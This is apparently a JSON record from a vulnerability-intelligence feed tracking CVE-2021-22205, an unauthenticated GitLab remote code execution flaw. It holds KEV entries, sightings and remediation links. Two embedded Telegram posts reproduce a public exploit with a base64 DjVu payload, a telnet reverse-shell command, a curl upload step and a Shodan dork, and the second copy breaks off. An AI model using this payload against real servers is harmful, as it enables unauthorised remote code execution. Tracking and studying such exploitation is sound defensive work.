"uuid": "62bbdf10-437c-490d-abe0-073a5c71cd4e", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-10-26T11:30:51Z", "date_only": false, "value": "2023-10-26T11:30:51+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2021-22205", "field": "timestamps.first_seen_at", "uuid": "62bbdf10-437c-490d-abe0-073a5c71cd4e", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-12-05T11:31:09Z", "date_only": false, "value": "2023-12-05T11:31:09.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/1465", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "86c85b52-b75f-43d0-bbc6-0ec475bec093", "content": "#ExploitObserverAlert\n\nCVE-2021-22205\n\nDESCRIPTION: Exploit Observer has 106 entries related to CVE-2021-22205. An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.\n\nFIRST-EPSS: 0.972900000\nNVD-IS: 6.0\nNVD-ES: 3.9", "url": "https://t.me/arpsyndicate/1465"}, {"timestamp": "2023-12-13T01:23:24.631Z", "date_only": false, "value": "2023-12-13T01:23:24.631589Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2021-22205", "record": "GSD-2021-22205", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-03-06T11:20:01.948Z", "date_only": false, "value": "2024-03-06T11:20:01.948Z", "kind": "milestone", "label": "Published", "source": "bitnami_vulndb \u00b7 BIT-GITLAB-2021-22205", "record": "BIT-GITLAB-2021-22205", "field": "published"}, {"timestamp": "2024-05-31T09:39:04Z", "date_only": false, "value": "2024-05-31T09:39:04.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/d3fd7e8e-c7ec-41ca-87fe-462bb29963a6", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "3e59f821-d6e4-4db5-80a0-c3edc9b52848"}, {"timestamp": "2024-08-03T18:37:18.228Z", "date_only": false, "value": "2024-08-03T18:37:18.228Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2021-22205", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-11-09T02:11:49Z", "date_only": false, "value": "2024-11-09T02:11:49.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/club31337/719", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "50f4f5de-303f-4452-8d91-59e610bb4897", "content": "https://github.com/Al1ex/CVE-2021-22205", "url": "https://t.me/club31337/719"}, {"timestamp": "2024-12-24T20:24:08.149Z", "date_only": false, "value": "2024-12-24T20:24:08.149753Z", "kind": "sighting", "label": "Seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971092", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "069b16fd-8573-48d9-9cab-78b871933056", "url": "https://feedsin.space/feed/CISAKevBot/items/2971092"}, {"timestamp": "2025-02-06T03:13:45Z", "date_only": false, "value": "2025-02-06T03:13:45.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "b523ec9b-ee2b-45a4-90bc-1469e43e037c"}, {"timestamp": "2025-02-23T02:09:52Z", "date_only": false, "value": "2025-02-23T02:09:52.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "eb0d25c6-28d2-4a4d-a0c8-b6b1fea2bc25"}, {"timestamp": "2025-02-23T04:10:34Z", "date_only": false, "value": "2025-02-23T04:10:34.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "0434f595-59ef-4ebc-9b5a-6f75142aedfa"}, {"timestamp": "2025-05-31T12:56:38.469Z", "date_only": false, "value": "2025-05-31T12:56:38.469185Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kooteksec.bsky.social/post/3lqhsbnof2c22", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "4780422f-f4cc-4cf8-bc30-9670f3eb3a76", "url": "https://bsky.app/profile/kooteksec.bsky.social/post/3lqhsbnof2c22"}, {"timestamp": "2025-07-22T07:48:08Z", "date_only": false, "value": "2025-07-22T07:48:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/44931", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "120540f2-e2f2-4120-893d-09e5155f8b26", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aGitLabRCECVE-2021-22205Tool\nURL\uff1ahttps://github.com/whiex/GitLabRCECVE-2021-22205Tool\n\n\u6807\u7b7e\uff1a#RCE", "url": "https://t.me/GithubRedTeam/44931"}, {"timestamp": "2025-08-31T03:00:59Z", "date_only": false, "value": "2025-08-31T03:00:59.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "d6fead70-b239-4b8f-9e07-566f54139f86"}, {"timestamp": "2025-08-31T03:12:44Z", "date_only": false, "value": "2025-08-31T03:12:44.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "970f4356-797e-49dd-9eaf-2ade7188ac08"}, {"timestamp": "2025-10-22T00:32:07Z", "date_only": false, "value": "2025-10-22T00:32:07Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-VGP2-3HXM-6X85", "record": "GHSA-VGP2-3HXM-6X85", "field": "modified"}, {"timestamp": "2025-10-24T04:50:07Z", "date_only": false, "value": "2025-10-24T04:50:07Z", "kind": "other", "label": "Updated", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2021-22205", "record": "UBUNTU-CVE-2021-22205", "field": "modified"}, {"timestamp": "2025-11-19T15:00:09Z", "date_only": false, "value": "2025-11-19T15:00:09.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/PHoJQGmgGzsQrC8Gnxfc8pLZD55xgKQzGqHQgQ7hPSbJXl0", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "7ad73bea-0f3d-4aed-9757-a877754874b6"}, {"timestamp": "2026-02-02T12:25:39Z", "date_only": false, "value": "2026-02-02T12:25:39+00:00", "kind": "kev", "label": "Recorded", "source": "cisa-kev", "record": "CVE-2021-22205", "field": "timestamps.recorded_at", "uuid": "8e7dd4c0-9908-429a-a781-e195ccbba047", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-02-02T12:28:43.264Z", "date_only": false, "value": "2026-02-02T12:28:43.264221Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8e7dd4c0-9908-429a-a781-e195ccbba047", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "2d3fdb5c-0018-4b0a-bf83-8f71104d1fc2", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8e7dd4c0-9908-429a-a781-e195ccbba047"}, {"timestamp": "2026-02-05T08:46:31.783Z", "date_only": false, "value": "2026-02-05T08:46:31.783657Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/allsafeus.bsky.social/post/3me3yusbert2d", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "6127728e-e853-4ff4-9d81-c582cd471a52", "url": "https://bsky.app/profile/allsafeus.bsky.social/post/3me3yusbert2d"}, {"timestamp": "2026-06-19T12:47:59.287Z", "date_only": false, "value": "2026-06-19T12:47:59.287494Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/db262999-1d71-4ac2-8e08-ab5e6c19041a", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "62cb9daa-d975-49d9-906d-b5fabf6de239", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/db262999-1d71-4ac2-8e08-ab5e6c19041a"}, {"timestamp": "2026-06-23T14:02:37Z", "date_only": false, "value": "2026-06-23T14:02:37+00:00", "kind": "kev", "label": "Recorded", "source": "kevintel", "record": "CVE-2021-22205", "field": "timestamps.recorded_at", "uuid": "d286e067-ef01-45af-8f9b-5f8796f66a0b", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-23T14:04:44.013Z", "date_only": false, "value": "2026-06-23T14:04:44.013029Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d286e067-ef01-45af-8f9b-5f8796f66a0b", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "9cd3b36d-dcf1-43de-a3f9-1cb4f2f939de", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d286e067-ef01-45af-8f9b-5f8796f66a0b"}, {"timestamp": "2026-06-30T10:01:12.372Z", "date_only": false, "value": "2026-06-30T10:01:12.372706Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/62bbdf10-437c-490d-abe0-073a5c71cd4e", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "24a6e26c-f70c-4010-90af-31c7bfdb2465", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/62bbdf10-437c-490d-abe0-073a5c71cd4e"}, {"timestamp": "2026-07-13T00:00:00Z", "date_only": false, "value": "2026-07-13T00:00:00+00:00", "kind": "kev", "label": "Last seen", "source": "shadowserver", "record": "CVE-2021-22205", "field": "timestamps.last_seen_at", "uuid": "62bbdf10-437c-490d-abe0-073a5c71cd4e", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-13T00:00:00Z", "date_only": true, "value": "2026-07-13", "kind": "kev", "label": "Observation date", "source": "shadowserver", "record": "CVE-2021-22205", "field": "evidence.0.details.observation_date", "uuid": "62bbdf10-437c-490d-abe0-073a5c71cd4e", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-13T00:00:00Z", "date_only": false, "value": "2026-07-13T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "shadowserver", "record": "CVE-2021-22205", "field": "status.status_updated_at", "uuid": "62bbdf10-437c-490d-abe0-073a5c71cd4e", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-13T22:00:19.342Z", "date_only": false, "value": "2026-07-13T22:00:19.342867Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/90478", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "9690dbd8-ff67-42cc-b9f8-c87636dbedea", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE #Remote Code Execution\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2021-22205\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a K3ysTr0K3R\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-24 22:56:57\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2021-22205 - GitLab Unauthenticated Remote Code Execution\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/90478"}, {"timestamp": "2026-07-15T00:00:20.412Z", "date_only": false, "value": "2026-07-15T00:00:20.412402Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/90478", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "9109d3b0-b1b1-412c-9612-9682c755d75d", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE #Remote Code Execution\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2021-22205\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a K3ysTr0K3R\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-24 22:56:57\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2021-22205 - GitLab Unauthenticated Remote Code Execution\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/90478"}, {"timestamp": "2026-07-15T01:00:01Z", "date_only": false, "value": "2026-07-15T01:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "shadowserver", "record": "CVE-2021-22205", "field": "timestamps.recorded_at", "uuid": "62bbdf10-437c-490d-abe0-073a5c71cd4e", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-25T06:15:04.674Z", "date_only": false, "value": "2026-07-25T06:15:04.674820Z", "kind": "sighting", "label": "Seen", "source": "MISP/469a09e8-cdbb-405e-b1fa-87ee37a92c1b", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "7232d5a2-add6-4905-8134-2b5c69376107"}, {"timestamp": "2026-07-26T00:15:02.287Z", "date_only": false, "value": "2026-07-26T00:15:02.287438Z", "kind": "sighting", "label": "Seen", "source": "MISP/469a09e8-cdbb-405e-b1fa-87ee37a92c1b", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "e3454ff0-c0bc-4aaa-a043-a4ac3f965642"}, {"timestamp": "2026-07-29T12:00:17.175Z", "date_only": false, "value": "2026-07-29T12:00:17.175056Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CVEhub/16777", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "1ef9f9c6-6871-4874-9052-44d6b5fdf0d8", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#rce\nName: *GitLabRCECVE-2021-22205-GUI*\nGithub: https://github.com/asdaweee/GitLabRCECVE-2021-22205-GUI", "url": "https://t.me/CVEhub/16777"}, {"timestamp": "2026-07-29T12:02:51.990Z", "date_only": false, "value": "2026-07-29T12:02:51.990491Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/1743", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "983347ad-7f07-4ab1-9f6e-3069f2bdb375", "content": "GitLab CE CVE-2021-22205 in the wild https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/", "url": "https://t.me/reverseame/1743"}, {"timestamp": "2026-07-29T12:03:22.207Z", "date_only": false, "value": "2026-07-29T12:03:22.207677Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/sysadm_in_up/879", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "cd0be2d0-f857-449d-938d-04cf15769581", "content": "GitLab CE CVE-2021-22205 in the wild\n\nhttps://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/", "url": "https://t.me/sysadm_in_up/879"}, {"timestamp": "2026-07-31T00:00:40.896Z", "date_only": false, "value": "2026-07-31T00:00:40.896255Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CVEhub/16777", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "0fc79005-04e6-43c2-b80a-db61e5bf1685", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#rce\nName: *GitLabRCECVE-2021-22205-GUI*\nGithub: https://github.com/asdaweee/GitLabRCECVE-2021-22205-GUI", "url": "https://t.me/CVEhub/16777"}, {"timestamp": "2026-08-01T06:59:59.323Z", "date_only": false, "value": "2026-08-01T06:59:59.323516Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/vulnsea.com/post/3mryvh7sleq22", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "dc32b5f7-16d7-4d72-a258-a42fb1935851", "content": "\ud83c\udf11 HADAL \u00b7 actively exploited critical\nCVE-2021-22205: An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9\nCVSS 10 \u00b7 EPSS 99.7% \u00b7 CISA KEV\nhttps://beta.vulnsea.com/cve/CVE-2021-22205\n\n#CVE #infosec #cybersecurity #threatintel", "url": "https://bsky.app/profile/vulnsea.com/post/3mryvh7sleq22"}, {"timestamp": "2026-08-03T05:00:04.755Z", "date_only": false, "value": "2026-08-03T05:00:04.755248Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/reverseame/1743", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "c93aaed1-3934-4564-9f24-7af1a9c0baba", "content": "GitLab CE CVE-2021-22205 in the wild https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/", "url": "https://t.me/reverseame/1743"}, {"timestamp": "2026-08-04T05:00:04.736Z", "date_only": false, "value": "2026-08-04T05:00:04.736502Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/sysadm_in_up/879", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "7783290a-cca1-499d-b985-e02186c8d43d", "content": "GitLab CE CVE-2021-22205 in the wild\n\nhttps://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/", "url": "https://t.me/sysadm_in_up/879"}, {"timestamp": "2026-08-06T03:55:21.716Z", "date_only": false, "value": "2026-08-06T03:55:21.716Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2021-22205", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-08-06T03:55:21.716Z", "date_only": false, "value": "2026-08-06T03:55:21.716Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2021-22205", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2026-08-06T05:16:35.427Z", "date_only": false, "value": "2026-08-06T05:16:35.427", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2021-22205", "record": "FKIE_CVE-2021-22205", "field": "lastModified"}, {"timestamp": "2026-09-01T17:00:32.579Z", "date_only": false, "value": "2026-09-01T17:00:32.579966Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cissp/5363", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "7965bcb8-4a26-4578-83bc-2aaa14136342", "content": "Vulnerability Remediation Resources\nThe table below provides links to remediation sources for the top 10 exploited vulnerabilities\n  CVE-2021-44228\n  https://logging.apache.org/log4j/2.x/security.html\n \n CVE-2021-22005\nhttps://www.vmware.com/security/advisories/VMSA-2021-0020.html\n\n  CVE-2021-34527\n  https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34527\n \n  CVE-2021-1675\n  https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675\n  \n   CVE-2021-27065\n   https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27065\n   \n CVE-2021-36934\nhttps://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36934\n  \n  CVE-2021-40444\n  https://msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40444\n  \nCVE-2021-26855\nhttps://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855\n \n  CVE-2021-22205\n   https://gitlab.com/gitlab-org/gitlab/-/issues/327121\n  \n  CVE-2021-21551\n https://www.dell.com/support/kbdoc/en-us/000186019/dsa-2021-088-dell-client-platform-security-up-date-for-dell-driver-insufficient-access-control-vulnerability", "url": "https://t.me/cissp/5363"}, {"timestamp": "2026-09-01T17:00:32.877Z", "date_only": false, "value": "2026-09-01T17:00:32.877337Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cissp/5362", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "5b82aa05-2d9f-4787-a495-1cd6b682e57c", "content": "CVE-2021-44228 (Log4Shell): Apache Log4j2 - Remote Code Execution (RCE)\n\nCVE-2021-22005: VMware vCenter Server - Arbitrary File Upload\n\nCVE-2021-34527 (PrintNightmare): Windows Print Spooler - RCE\n\nCVE-2021-1675 (PrintNightmare): Windows Print Spooler - Elevation of Privilege\n\nCVE-2021-27065 (ProxyLogon): Microsoft Exchange Server - RCE\n\nCVE-2021-36934: Windows - Elevation of Privilege \n\nCVE-2021-40444: Microsoft MSHTML - RCE\n\nCVE-2021-26855 (ProxyLogon): Microsoft Exchange Server - RCE\n\nCVE-2021-22205: GitLab CE/EE - Remote Code Execution\n\nCVE-2021-21551: Dell - Insufficient Access Control", "url": "https://t.me/cissp/5362"}, {"timestamp": "2026-09-01T20:02:09.331Z", "date_only": false, "value": "2026-09-01T20:02:09.331080Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/31748", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "54b58cf0-0593-4ac7-b909-ce2d770603fa", "content": "Exploit Collector\nGitLab 13.10.2 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-9u0QXe9ybeo/WWlvU_DnejI/AAAAAAAAIN0/BUl-HrIsuwE3sKywG67Nuv_wLRABID6oQCLcBGAs/s1600/h45.png \nGitLab version 13.10.2 remote code execution exploit that provides a reverse shell.\n\nMD5 | a203e85e39e4798bc3ada54cb3cc7271\n\nDownload\n# Exploit Title: GitLab 13.10.2 - Remote Code Execution (RCE) (Unauthenticated)\n# Shodan Dork: https://www.shodan.io/search?query=title%3A%22GitLab%22+%2B%22Server%3A+nginx%22\n# Date: 11/01/2021\n# Exploit Author: Jacob Baines\n# Vendor Homepage: https://about.gitlab.com/\n# Software Link: https://gitlab.com/gitlab-org/gitlab\n# Version: GitLab Community Edition and Enterprise Edition before 13.10.3, 13.9.6, and 13.8.8\n# Tested on: GitLab Community Edition 13.10.2 and 13.10.1 (Ubuntu)\n# CVE : CVE-2021-22205\n# Vendor Advisory: https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/\n# Root Cause Analysis: https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis?referrer=activityFeed\n\nCode execution is the result of GitLab allowing remote unauthenticated attackers to provide DjVu files to ExifTool (see: CVE-2021-22204). As such, exploitation of GitLab takes two steps. First generating the payload and then sending it.\n\n1. Generating the payload. This generates a DjVu image named lol.jpg that will trigger a reverse shell to 10.0.0.3 port 1270.\n\necho -e\n\"QVQmVEZPUk0AAAOvREpWTURJUk0AAAAugQACAAAARgAAAKz//96/mSAhyJFO6wwHH9LaiOhr5kQPLHEC7knTbpW9osMiP0ZPUk0AAABeREpWVUlORk8AAAAKAAgACBgAZAAWAElOQ0wAAAAPc2hhcmVkX2Fubm8uaWZmAEJHNDQAAAARAEoBAgAIAAiK5uGxN9l/KokAQkc0NAAAAAQBD/mfQkc0NAAAAAICCkZPUk0AAAMHREpWSUFOVGEAAAFQKG1ldGFkYXRhCgkoQ29weXJpZ2h0ICJcCiIgLiBxeHs=\"\n| base64 -d > lol.jpg\necho -n 'TF=$(mktemp -u);mkfifo $TF && telnet 10.0.0.3 1270 0<$tf$TF' >> lol.jpg\necho -n\n\"fSAuIFwKIiBiICIpICkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCg==\"\n| base64 -d >> lol.jpg\n\n2. Sending the payload. Any random endpoint will do.\n\ncurl -v -F 'file=@lol.jpg' http://10.0.0.7/$(openssl rand -hex 8)\n\n2a. Sample Output from the reverse shell:\n\n$ nc -lnvp 1270\nListening on [0.0.0.0] (family 0, port 1270)\nConnection from [10.0.0.7] port 1270 [tcp/*] accepted (family 2, sport\n34836)\nwhoami\ngit\nid\nuid=998(git) gid=998(git) groups=998(git)\n\nSource:packetstormsecurity.com", "url": "https://t.me/hacking_Attack/31748"}, {"timestamp": "2026-09-01T20:02:10.846Z", "date_only": false, "value": "2026-09-01T20:02:10.846831Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/30017", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "698e23c2-1897-49d9-ab56-62e4ac4df46d", "content": "Black Hat Ethical Hacking\nOver 30,000 GitLab servers still unpatched against critical bug\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Over 30,000 GitLab servers still unpatched against critical bugPost Views: 115 \nReading Time: 1 Minute\nA critical unauthenticated, remote code execution GitLab flaw fixed on April 14, 2021, remains exploitable, with over 50% of deployments remaining unpatched.\nThe vulnerability is tracked as CVE-2021-22205\u00a0and has a CVSS v3 score of 10.0, allowing an unauthenticated, remote attacker to execute arbitrary commands as the \u2018git\u2019 user (repository admin).\n\nThis vulnerability gives the remote attacker full access to the repository, including deleting, modifying, and stealing source code.\nSee Also: Complete Offensive Security and Ethical Hacking Course Exploitation in the wildHackers first started exploiting internet-facing GitLab servers in June 2021\u00a0to create new users and give them admin rights.\n\nThe actors used a working exploit published on GitHub\u00a0on June 4, 2021, allowing them to abuse the vulnerable ExifTool component.\n\nThe threat actors do not need to authenticate or use a CSRF token or even a valid HTTP endpoint to use the exploit.\n\nWith the exploitation continuing to this day, researchers from Rapid7 decided to look into the number of unpatched systems and determine the scope of the underlying problem.\nSee Also: All Windows versions impacted by new LPE zero-day vulnerability According to a report published by Rapid7, at least 50% of the 60,000 internet-facing GitLab installations they found are not patched against the critical RCE flaw fixed six months ago.\nMoreover, another 29% may or may not be vulnerable, as the analysts couldn\u2019t extract the version string for those servers.\n\nAdmins need to update to one of the following versions to patch the flaw:\n\n* 13.10.3\n* 13.9.6\n* 13.8.8\n\nAny versions earlier than that and down to 11.9 are vulnerable to exploitation whether you\u2019re using GitLab Enterprise Edition (EE) or GitLab Community Edition (CE).\nSee Also: Offensive Security Tool: ZipExec For more details on how to update GitLab, check out this dedicated portal.\n\nTo ensure that your GitLab instance isn\u2019t vulnerable to exploitation, you can check its response to POST requests that attempt to exploit ExifTool\u2019s mishandling of image files.\n\nThe patched versions still allow someone to reach out to ExifTool, but the response to the request should be a rejection\u00a0in the form of an HTTP 404 error.\nSee Also: Hacking stories \u2013 Operation Troy \u2013 How researchers linked the cyberattacks Source: www.bleepingcomputer.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/trojan-source-invisible-vulnerabilities-in-most-code-showcase_image-7-a-17833-90x90.jpg \u2018Trojan Source\u2019 attack method can hide bugs into open-source code1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/ezgif.com-gif-maker-4-90x90.jpg Chaos ransomware targets gamers via fake Minecraft alt lists2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/microsoft-zero-day-vulnerabilities-800x358-1-90x90.png All Windows versions impacted by new LPE zero-day vulnerability5 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/social_preview-scaled-90x90.jpg Sensitive data of 400,000 German students exposed by API flaw6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/hacked-90x90.jpg Brutal WordPress plugin bug allows subscribers to wipe sites1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/30017"}, {"timestamp": "2026-09-07T05:00:05.960Z", "date_only": false, "value": "2026-09-07T05:00:05.960222Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/31748", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "51366826-0591-4faf-a933-278fea437c9c", "content": "Exploit Collector\nGitLab 13.10.2 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-9u0QXe9ybeo/WWlvU_DnejI/AAAAAAAAIN0/BUl-HrIsuwE3sKywG67Nuv_wLRABID6oQCLcBGAs/s1600/h45.png \nGitLab version 13.10.2 remote code execution exploit that provides a reverse shell.\n\nMD5 | a203e85e39e4798bc3ada54cb3cc7271\n\nDownload\n# Exploit Title: GitLab 13.10.2 - Remote Code Execution (RCE) (Unauthenticated)\n# Shodan Dork: https://www.shodan.io/search?query=title%3A%22GitLab%22+%2B%22Server%3A+nginx%22\n# Date: 11/01/2021\n# Exploit Author: Jacob Baines\n# Vendor Homepage: https://about.gitlab.com/\n# Software Link: https://gitlab.com/gitlab-org/gitlab\n# Version: GitLab Community Edition and Enterprise Edition before 13.10.3, 